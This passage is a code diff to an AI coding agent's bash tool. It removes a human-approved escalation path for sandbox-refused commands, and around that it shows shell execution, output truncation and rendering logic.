getExperimentalToolSampling(),\n\t\tasync execute(_toolCallId, input: BashToolInput, signal?: AbortSignal, onUpdate?, ctx?) {\n\t\t\tif (\"handle\" in input) {\n\t\t\t\treturn await executeHandleCall(input);\n\t\t\t}\n\t\t\tconst { command, timeout, background } = input;\n\t\t\tconst resolvedCommand = commandPrefix ? `${commandPrefix}\\n${command}` : command;\n\t\t\tconst spawnContext = resolveSpawnContext(resolvedCommand, cwd, spawnHook, exposeSessionEnvironment, ctx);\n\n\t\t\tif (background) {\n\t\t\t\tconst spawnBg = ops.spawnBackground;\n\t\t\t\tif (!spawnBg) {\n\t\t\t\t\tthrow new ToolExecutionError(\n\t\t\t\t\t\t\"This shell backend does not support background execution. Run the command in the foreground instead.\",\n\t\t\t\t\t\tundefined,\n\t\t\t\t\t);\n\t\t\t\t}\n\t\t\t\tconst output = new OutputAccumulator({ tempFilePrefix: config.tempFilePrefix });\n\t\t\t\tconst launched = await spawnBg(spawnContext.command, spawnContext.cwd, {\n\t\t\t\t\tenv: spawnContext.env,\n\t\t\t\t\tonData: (data) => output.append(data),\n\t\t\t\t});\n\t\t\t\tconst handle = registry.launch({\n\t\t\t\t\tcommand: spawnContext.command,\n\t\t\t\t\tpid: launched.pid,\n\t\t\t\t\toutput,\n\t\t\t\t\texited: launched.exited,\n\t\t\t\t});\n\t\t\t\treturn {\n\t\t\t\t\tcontent: [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\ttype: \"text\",\n\t\t\t\t\t\t\ttext: `[background] launched with handle ${handle}\\nRetrieve its output: { \"handle\": \"${handle}\" }\\nKill it: { \"handle\": \"${handle}\", \"kill\": true }`,\n\t\t\t\t\t\t},\n\t\t\t\t\t],\n\t\t\t\t\tdetails: { execution: { cwd: spawnContext.cwd, exitCode: null } },\n\t\t\t\t};\n\t\t\t}\n\n\t\t\tconst output = new OutputAccumulator({ tempFilePrefix: config.tempFilePrefix });\n\t\t\tlet acceptingOutput = true;\n\t\t\tlet updateTimer: NodeJS.Timeout | undefined;\n\t\t\tlet updateDirty = false;\n\t\t\tlet lastUpdateAt = 0;\n\n\t\t\tconst emitOutputUpdate = () => {\n\t\t\t\tif (!onUpdate || !updateDirty) return;\n\t\t\t\tupdateDirty = false;\n\t\t\t\tlastUpdateAt = Date.now();\n\t\t\t\tconst snapshot = output.snapshot({ persistIfTruncated: true });\n\t\t\t\tonUpdate({\n\t\t\t\t\tcontent: [{ type: \"text\", text: snapshot.content || \"\" }],\n\t\t\t\t\tdetails: {\n\t\t\t\t\t\ttruncation: snapshot.truncation.truncated ? snapshot.truncation : undefined,\n\t\t\t\t\t\tfullOutputPath: snapshot.fullOutputPath,\n\t\t\t\t\t},\n\t\t\t\t});\n\t\t\t};\n\n\t\t\tconst clearUpdateTimer = () => {\n\t\t\t\tif (updateTimer) {\n\t\t\t\t\tclearTimeout(updateTimer);\n\t\t\t\t\tupdateTimer = undefined;\n\t\t\t\t}\n\t\t\t};\n\n\t\t\tconst scheduleOutputUpdate = () => {\n\t\t\t\tif (!onUpdate) return;\n\t\t\t\tupdateDirty = true;\n\t\t\t\tconst delay = BASH_UPDATE_THROTTLE_MS - (Date.now() - lastUpdateAt);\n\t\t\t\tif (delay <= 0) {\n\t\t\t\t\tclearUpdateTimer();\n\t\t\t\t\temitOutputUpdate();\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\tupdateTimer ??= setTimeout(() => {\n\t\t\t\t\tupdateTimer = undefined;\n\t\t\t\t\temitOutputUpdate();\n\t\t\t\t}, delay);\n\t\t\t};\n\n\t\t\tif (onUpdate) {\n\t\t\t\tonUpdate({ content: [], details: undefined });\n\t\t\t}\n\n\t\t\tconst handleData = (data: Buffer) => {\n\t\t\t\tif (!acceptingOutput) return;\n\t\t\t\toutput.append(data);\n\t\t\t\tscheduleOutputUpdate();\n\t\t\t};\n\n\t\t\tconst finishOutput = async () => {\n\t\t\t\tacceptingOutput = false;\n\t\t\t\toutput.finish();\n\t\t\t\tclearUpdateTimer();\n\t\t\t\temitOutputUpdate();\n\t\t\t\tconst snapshot = output.snapshot({ persistIfTruncated: true });\n\t\t\t\tawait output.closeTempFile();\n\t\t\t\treturn snapshot;\n\t\t\t};\n\n\t\t\tconst formatOutput = (snapshot: Awaited<ReturnType<typeof finishOutput>>, emptyText = \"(no output)\") => {\n\t\t\t\tconst truncation = snapshot.truncation;\n\t\t\t\tlet text = snapshot.content || emptyText;\n\t\t\t\tlet details: BashToolDetails | undefined;\n\t\t\t\tif (truncation.truncated) {\n\t\t\t\t\tdetails = { truncation, fullOutputPath: snapshot.fullOutputPath };\n\t\t\t\t\tconst startLine = truncation.totalLines - truncation.outputLines + 1;\n\t\t\t\t\tconst endLine = truncation.totalLines;\n\t\t\t\t\tif (truncation.lastLinePartial) {\n\t\t\t\t\t\tconst lastLineSize = formatSize(output.getLastLineBytes());\n\t\t\t\t\t\ttext += `\\n\\n[Showing last ${formatSize(truncation.outputBytes)} of line ${endLine} (line is ${lastLineSize}). Full output: ${snapshot.fullOutputPath}]`;\n\t\t\t\t\t} else if (truncation.truncatedBy === \"lines\") {\n\t\t\t\t\t\ttext += `\\n\\n[Showing lines ${startLine}-${endLine} of ${truncation.totalLines}. Full output: ${snapshot.fullOutputPath}]`;\n\t\t\t\t\t} else {\n\t\t\t\t\t\ttext += `\\n\\n[Showing lines ${startLine}-${endLine} of ${truncation.totalLines} (${formatSize(DEFAULT_MAX_BYTES)} limit). Full output: ${snapshot.fullOutputPath}]`;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn { text, details };\n\t\t\t};\n\n\t\t\tconst appendStatus = (text: string, status: string) => `${text ? `${text}\\n\\n` : \"\"}${status}`;\n\n\t\t\ttry {\n\t\t\t\tlet exitCode: number | null;\n\t\t\t\tlet execution: BashExecutionFacts;\n\t\t\t\ttry {\n\t\t\t\t\tconst result = await ops.exec(spawnContext.command, spawnContext.cwd, {\n\t\t\t\t\t\tonData: handleData,\n\t\t\t\t\t\tsignal,\n\t\t\t\t\t\ttimeout,\n\t\t\t\t\t\tenv: spawnContext.env,\n\t\t\t\t\t});\n\t\t\t\t\texitCode = result.exitCode;\n\t\t\t\t\texecution = {\n\t\t\t\t\t\tcwd: spawnContext.cwd,\n\t\t\t\t\t\texecutable: result.executable,\n\t\t\t\t\t\targv: result.argv,\n\t\t\t\t\t\texitCode,\n\t\t\t\t\t};\n\t\t\t\t} catch (err) {\n\t\t\t\t\tconst snapshot = await finishOutput();\n\t\t\t\t\tconst { text } = formatOutput(snapshot, \"\");\n\t\t\t\t\tconst interruptedExecution: BashExecutionFacts = { cwd: spawnContext.cwd, exitCode: null };\n\t\t\t\t\tif (err instanceof Error && err.message === \"aborted\") {\n\t\t\t\t\t\tthrow new ToolExecutionError(appendStatus(text, \"Command aborted\"), {\n\t\t\t\t\t\t\texecution: interruptedExecution,\n\t\t\t\t\t\t});\n\t\t\t\t\t}\n\t\t\t\t\tif (err instanceof Error && err.message.startsWith(\"timeout:\")) {\n\t\t\t\t\t\tconst timeoutSecs = err.message.split(\":\")[1];\n\t\t\t\t\t\tthrow new ToolExecutionError(appendStatus(text, `Command timed out after ${timeoutSecs} seconds`), {\n\t\t\t\t\t\t\texecution: interruptedExecution,\n\t\t\t\t\t\t});\n\t\t\t\t\t}\n\t\t\t\t\tthrow err;\n\t\t\t\t}\n\n\t\t\t\tconst snapshot = await finishOutput();\n\t\t\t\tconst { text: outputText, details } = formatOutput(snapshot);\n\t\t\t\tconst resultDetails: BashToolDetails = { ...details, execution };\n\t\t\t\tif (exitCode !== 0 && exitCode !== null) {\n\t\t\t\t\tthrow new ToolExecutionError(appendStatus(outputText, `Command exited with code ${exitCode}`), {\n\t\t\t\t\t\texecution,\n\t\t\t\t\t});\n\t\t\t\t}\n\t\t\t\treturn { content: [{ type: \"text\", text: outputText }], details: resultDetails };\n\t\t\t} finally {\n\t\t\t\tclearUpdateTimer();\n\t\t\t}\n\t\t},\n\t\trenderCall(args, _theme, context) {\n\t\t\tconst state = context.state;\n\t\t\tif (context.executionStarted && state.startedAt === undefined) {\n\t\t\t\tstate.startedAt = Date.now();\n\t\t\t\tstate.endedAt = undefined;\n\t\t\t}\n\t\t\tconst text = (context.lastComponent as Text | undefined) ?? new Text(\"\", 0, 0);\n\t\t\ttext.setText(formatShellCall(args, config.prompt));\n\t\t\treturn text;\n\t\t},\n\t\trenderResult(result, options, _theme, context) {\n\t\t\tconst state = context.state;\n\t\t\tif (state.startedAt !== undefined && options.isPartial && !state.interval) {\n\t\t\t\tstate.interval = setInterval(() => context.invalidate(), 1000);\n\t\t\t}\n\t\t\tif (!options.isPartial || context.isError) {\n\t\t\t\tstate.endedAt ??= Date.now();\n\t\t\t\tif (state.interval) {\n\t\t\t\t\tclearInterval(state.interval);\n\t\t\t\t\tstate.interval = undefined;\n\t\t\t\t}\n\t\t\t}\n\t\t\tconst component =\n\t\t\t\t(context.lastComponent as BashResultRenderComponent | undefined) ?? new BashResultRenderComponent();\n\t\t\trebuildBashResultRenderComponent(\n\t\t\t\tcomponent,\n\t\t\t\tresult as any,\n\t\t\t\toptions,\n\t\t\t\tcontext.showImages,\n\t\t\t\tstate.startedAt,\n\t\t\t\tstate.endedAt,\n\t\t\t);\n\t\t\tcomponent.invalidate();\n\t\t\treturn component;\n\t\t},\n\t};\n}\n\nconst bashToolConfig: ShellToolConfig = {\n\tname: \"bash\",\n\tlabel: \"bash\",\n\tshellName: \"bash\",\n\tprompt: \"$\",\n\tpromptSnippet: bashToolSystemPromptContribution.snippet,\n\tpromptGuidelines: bashToolSystemPromptContribution.guidelines,\n\ttempFilePrefix: \"apex-code-bash\",\n};\n\nexport function createBashToolDefinition(\n\tcwd: string,\n\toptions?: BashToolOptions,\n): ApexToolDefinition<typeof bashSchema, BashToolDetails | undefined, BashRenderState> {\n\treturn createShellToolDefinition(cwd, bashToolConfig, options);\n}\n\nexport function createBashTool(cwd: string, options?: BashToolOptions): AgentTool<typeof bashSchema> {\n\tconst definition = createBashToolDefinition(cwd, options);\n\tconst tool = wrapToolDefinition(definition);\n\tObject.assign(tool, {\n\t\tpromptSnippet: definition.promptSnippet,\n\t\tpromptGuidelines: definition.promptGuidelines,\n\t});\n\treturn tool;\n}\n"]}
@@ -11,7 +11,6 @@ import { waitForChildProcess } from "../../utils/child-process.js";
11
11
  import { getShellConfig, getShellEnv, killProcessTree, trackDetachedChildPid, untrackDetachedChildPid, } from "../../utils/shell.js";
12
12
  import { setApexEnvironment } from "../environment.js";
13
13
  import { getExperimentalToolSampling } from "../experimental.js";
14
- import { escalationRootFor, extractRefusedPath, looksLikeSandboxRefusal, requestCommandEscalation, } from "../sandbox/rpc/command-client.js";
15
14
  import { createBackgroundShellRegistry } from "./background-shell.js";
16
15
  import { classifyBashCommand } from "./bash-command-segments.js";
17
16
  import { toolUnion } from "./contract.js";
@@ -422,9 +421,6 @@ export function createShellToolDefinition(cwd, config, options) {
422
421
  const startLine = truncation.totalLines - truncation.outputLines + 1;
423
422
  text += `\n\n[Showing lines ${startLine}-${truncation.totalLines} of ${truncation.totalLines}. Full output: ${snapshot.fullOutputPath}]`;
424
423
  }
425
- if (!status.running && looksLikeSandboxRefusal(snapshot.content)) {
426
- text += `\n\n[Sandbox refusal: background runs are not offered escalation. Rerun this command in the foreground to get the escalation offer.]`;
427
- }
428
424
  return {
429
425
  content: [{ type: "text", text }],
430
426
  details: {
@@ -609,24 +605,6 @@ export function createShellToolDefinition(cwd, config, options) {
609
605
  const { text: outputText, details } = formatOutput(snapshot);
610
606
  const resultDetails = { ...details, execution };
611
607
  if (exitCode !== 0 && exitCode !== null) {
612
- // The OS boundary refuses a write in the kernel, so by the time this runs
613
- // the syscall has already failed and nothing inside this namespace can
614
- // widen it. Offering the command to the supervisor is the only remaining
615
- // move, and it is the supervisor that shows the human the exact command
616
- // and root before anything runs -- so a wrong guess at the path is
617
- // refused by someone reading it, never granted quietly.
618
- const escalated = await escalateRefusedCommand(command, outputText);
619
- if (escalated) {
620
- // The reported exit code has to be the escalated run's, not the
621
- // refused one's. Leaving the original would have the details say the
622
- // command failed while the content says it succeeded, and anything
623
- // reading the facts rather than the text would disagree with the
624
- // model about what happened.
625
- return {
626
- content: [{ type: "text", text: escalated.text }],
627
- details: { ...resultDetails, execution: { ...execution, exitCode: 0 } },
628
- };
629
- }
630
608
  throw new ToolExecutionError(appendStatus(outputText, `Command exited with code ${exitCode}`), {
631
609
  execution,
632
610
  });
@@ -687,29 +665,4 @@ export function createBashTool(cwd, options) {
687
665
  });
688
666
  return tool;
689
667
  }
690
- /**
691
- * Offer a command the sandbox refused to the supervisor, once.
692
- *
693
- * Returns the escalated output when a human approved it and it ran, and undefined for
694
- * every other outcome -- no channel, no recognisable refusal, no path in the message, a
695
- * refused prompt -- because the caller's behaviour is the same in all of them: report
696
- * what originally happened.
697
- */
698
- async function escalateRefusedCommand(command, output) {
699
- if (!looksLikeSandboxRefusal(output))
700
- return undefined;
701
- const refusedPath = extractRefusedPath(output);
702
- if (!refusedPath)
703
- return undefined;
704
- const outcome = await requestCommandEscalation({ command, writableRoot: escalationRootFor(refusedPath) });
705
- if (!outcome || outcome.code !== 0)
706
- return undefined;
707
- const combined = [outcome.stdout, outcome.stderr]
708
- .filter((part) => part.length > 0)
709
- .join("\n")
710
- .trim();
711
- // A silent success still has to say something, or the model reads an empty result as
712
- // the command having had no effect.
713
- return { text: combined.length > 0 ? combined : "Command ran with approved escalated access." };
714
- }
715
668
  //# sourceMappingURL=bash.js.map
@@ -1 +1 @@
1
- {"version":3,"file":"bash.js","sourceRoot":"","sources":["../../../src/core/tools/bash.ts"],"names":[],"mappings":"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